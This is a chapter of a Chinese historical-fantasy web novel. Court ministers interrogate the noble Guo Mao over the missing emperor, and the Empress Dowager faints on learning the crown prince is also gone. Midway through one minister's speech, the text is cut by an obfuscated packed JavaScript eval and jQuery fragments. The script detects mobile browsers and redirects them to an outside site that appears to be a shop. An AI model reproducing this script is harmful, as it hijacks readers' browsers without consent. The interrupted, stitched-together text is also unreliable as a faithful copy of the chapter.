第一百六十九章 :好眼熟的娃娃

作品:《大明汉高祖

    与此同时。


    京城之外,避暑行宫。


    郭懋缩在大殿中,灯都不敢点,蹲坐在地上,像个小孩子一般抱着脑袋,无助的靠在门上。


    而在门上,无数道高大诡谲的剪影在来回晃动。


    郭懋假装什么都没看见,努力无视着外面杂乱的脚步声,心中默念道。


    “看不见我,我什么都不知道。


    看不见我,我什么都不知道。”


    就在这时,一个脚步声突然停在了门外,这让郭懋瞬间将心悬到了嗓子眼。


    吱扭一声,门被缓缓推开。


    但不知为何,没有人走进来,只能看到一道高大摇曳的剪影,从门槛一直延伸到大殿深处,无声的没入了黑暗中。


    郭懋早在门被推开的刹那,就屏住了呼吸,眼中满是压抑不住的惊恐。


    “有人吗?”


    声音很轻,却带着股浓浓的怨念,在大殿中缓缓扩散开来,宫灯下的花穗也跟着微微摇晃起来。


    等了片刻,声音自言自语道:“看来是没有人了。”


    奇怪的是,随着剪影的消失,脚步声却是由远及近响起的。


    郭懋死死无捂住嘴巴,不敢发出丁点动静,盯着敞开的大门,默默往大殿深处挪了挪。


    叮!


    郭懋一个不留神,纽扣撞在了瓷瓶上,发出动听的清吟声。


    郭懋的脸瞬间就红了,伸手将瓶子死死抱在怀中,紧张的盯着大门。


    转瞬间,剪影再次出现。


    这回是三个。


    但这次却没有人发问,三个剪影待在原地一动不动,仿佛已经察觉到了郭懋的存在,只等着他自投罗网。


    郭懋心知不妙,蹑手蹑脚的向后退去,准备找个地方躲到天亮再说。


    就在这时,他突然感觉有什么东西爬上了他的手。


    粗糙、厚重,无比冰凉。


    好像...是一只手!


    郭懋猛地扭过头,只见的几乎化为实质的阴影中,兀的钻出两张脸。


    一铁青,一煞白,不带半点人气,直勾勾的盯着郭懋。


    “终于,找到你了。”


    铁青面孔轻叹一声。


    下一秒,郭懋便被两张面孔拖进了阴影中。


    只剩下瓷瓶碎裂的声响,在大殿中回荡不休......


    .......


    灯火通明的偏殿中。


    “轻点,轻点。”郭懋趴在地上求饶道:“各位大人,在下真的什么都不知道啊!”


    “少废话!”


    曹鼐咬牙切齿喝着参汤,总算弥补了些两天未睡的元气,让脸上多了几分血色。


    “绑起来,事后问起,就是我曹鼐一人所为!”


    金濂气得脸色铁青,指着郭懋的脸劈头盖脸就是一顿骂:“你也是我大明堂堂正正的伯爵。


    这等紧要关头,你竟然做这等稚童把戏!


    你还分不分得清何事是轻重缓急?!


    等陛下回来,老夫定要......”


    “还跟他废什么话!”胡濙以超出自己年龄的矫健身手,冲到了郭懋身前,一把推开了金濂,揪起郭懋怒喝道:“陛下呢!


    我问你陛下呢?!


    你再不说,信不信老夫吊死在你家门前!”


    郭懋默默缩成了一团,顾左右而言它道:“你们怎么找到我的?


    你们也来过行宫?”


    商辂叹了口气,轻轻碰了碰郭懋,朝他使了个眼色。


    郭懋顺着他的视线看去,只见王卺一脸紧张无奈,有些尴尬的朝他点了点头。


    “原来如此。”郭懋恍然大悟般点了点头,“我就说诸位怎么这么快就能找到......”


    砰!


    胡濙一掌拍在了郭懋脸侧,胡须狂颤,一字一顿道:“老夫可不是在开玩笑。”


    郭懋咽了下口水,欲哭无泪。


    他当初就该找个由头,推了这份差事。


    他不过是个金吾右卫的指挥使,真扛不起这么七卿的怒火啊。


    “拒虏伯,你不要再和我等打马虎眼了!”王直急得不停拍手,催促道:“你快说,陛下究竟去哪里了?”


    郭懋下意识想要回答,可想到皇帝叮嘱自己时那饱含威胁的目光,他只能用力摇摇头,坚定道:“在下确实一无所知。”


    胡濙在旁人的搀扶下缓缓直起腰,面无表情的盯着郭懋,直到把郭懋盯得满头大汗,才冷声道:“取麻绳来。”


    “什么?”


    “取麻绳来!”胡濙看着郭懋,伸出了手,“我今日倒要试试,拒虏伯府的房梁结实不结实!”


    “算了,胡公,消消气消消气。”陈循忙上前安抚,接着扭头催促道:“拒虏伯,事已至此,你就赶紧说吧。


    我等公务繁忙,不想在此陪你空费口舌。


    而且陛下离京,本就是大事一桩。


    你身为大明勋贵,不思护卫陛下,保大明江山平稳,反而行此悖逆之举!


    如今京城无人坐镇,陛下行踪不明。


    万一出了什么大事,你有几颗脑袋能担待的起么!”


    说的全特么是废话。


    郭懋悄悄翻了个白眼,心中暗骂


    不停。


    这话老子又不是没说过,要有用的话,老子至于捆在这被你们当孙子骂么?


    见郭懋一副死猪不怕开水烫的样子,曹鼐再也忍受不住,冲上前去拨开众人,揪住郭懋衣领,低喝道。


    “你是不是拿准了我们不会将此事公之于众?”


    “我没有。”


    郭懋诚实的摇了摇头,但又在心里补充了一句。


    陛下拿准了。


    “拒虏伯,我再问你一遍,陛下何在?”曹鼐有些激动道:“我告诉你!


    你和陛下同出京城,如今不见了陛下,只剩下你一人,老夫现在就可启禀太后,将你以谋逆论处,你信不信?!”


    郭懋一听赶忙挺起胸膛,着急道:“怀里!怀里!”


    曹鼐冷笑一声,朝郭懋怀中一摸,却取出一块绢布。


    他愣了下,心中忽然生出不好的预感。


    等到绢布被打开时,他眼前一黑,险些晕了过去。


    “郭懋所为,乃朕授意,无罪。”


    几个大字,在灯火下微微反着光,下面那块朱红色的印记,表明了它的作用和圣旨没什么两样。


    胡濙上前拿过仔细看了两眼,又恨恨的看了眼郭懋,才道:“哼,别太得意。


    等陛下回来,老夫定要上奏参你!”


    郭懋却觉得不痛不痒。


    参他可以,只要不吊死在他家门前就行。


    “当务之急,是保密消息,稳住局势,防止生变。”商辂适时开口打破了沉默。


    “我等应兵分两路,一路坐镇京师,防备宵小异动。


    另一路应该立刻启禀太后,派得力人手外出巡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14008818|148556||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    查。


    至讯问.......”


    商辂接过那个“简陋”的圣旨,看向郭懋苦笑道:“我看就没必要了吧?”


    片刻沉默后,曹鼐最先道:“那就依商翰林所言。”


    在与众人交换了一番无奈的眼神后,他叹气道:“陛下现在,是越来越......随性了。


    万幸,京中还有太子,但这件事,咱们一定要对太子保密,不然.......”


    众人带着心腹家丁远去,全然忘了孤零零坐在地上的郭懋。


    但郭懋也不生气,而是熟练的从靴子底掏出一柄小刀,解开束缚后玩命向团营奔去。


    陛下让他做的都做完了,该拖的日子也拖够了,接下来就要装死了。


    刚才众人最后的话他也听见了.......只能希望先帝们保佑,别把七卿气出个好歹......


    半个时辰后。


    紫禁城,仁寿宫。


    死一般的寂静。


    胡濙扬起一张煞白的脸,对同样的煞白的孙太后颤声道;“您...您刚才说什么?”


    “老身...老身说太子不在仁寿宫。”孙太后扶着椅子扶手,一副摇摇欲坠的样子。“太子不一直陪着陛下么?”


    “陛下...陛下出宫了。”胡濙委婉道。


    “太子呢?”孙太后突然用手死死捂住了心口。


    “我们以为在您这。”


    “......太子和皇帝一起不见了?”


    又是死一般的寂静。


    过了片刻,宫中突然响起惊慌失措的尖叫声。


    “快传御医!太后昏倒了!”


    “把御医全叫来!胡尚书也晕过去了!”


    ......


    “咯噜噜噜噜噜噜,呸!”


    第二日清晨。


    魏国公府上。


    朱见深将刷过牙的水,精准得吐到了垂下来的枝条上。


    虽然多日的奔波中,他大部分时间都是在睡梦中度过的。


    但现在也已经适应没有侍女照顾的生活。


    “竖子,哪学的臭毛病。”刘邦拍了下朱见深的后背,走到树边,不满道:“刷牙的时候,不要发出怪声。”


    “哦。”


    刘邦也不在意,仔细刷起牙来。


    这玩意比当年那又重又沉的青铜棒子确实好用了不少,可惜回不去了,不然光是卖这玩意就能赚一大笔钱。


    刘邦遗憾的摇摇头,接着喝了一口水。


    “咯噜噜噜噜噜噜,呸!”


    水精准命中树干。


    朱见深听到声音,眯成缝的小眼睛中生出了某种名为鄙夷的情绪。


    但到最后,他也只是怒了一下,旋即气鼓鼓的抱着着自己的小瓷鼎朝屋中走去。


    “于先生早。”


    当看到揉着眼睛的出现的于谦时,朱见深立马礼貌的打了个招呼。


    这是父皇教他的,对有学问、有本事的人,一定要尊崇他,厚待他。


    朱见深想了想,举起手中的小瓷鼎,奶声奶气道;“于先生,刷牙么?”


    “多谢了。”于谦回以微笑,“于某有的。”


    “那于先生慢刷。”朱见深鞠了一躬,转身朝屋中走去。


    这国公府的娃娃,还蛮有礼貌的。


    于谦笑着摇了摇头,可刚走两步,突然又猛地转过身。


    这国公府的娃娃,怎么如此眼熟啊?!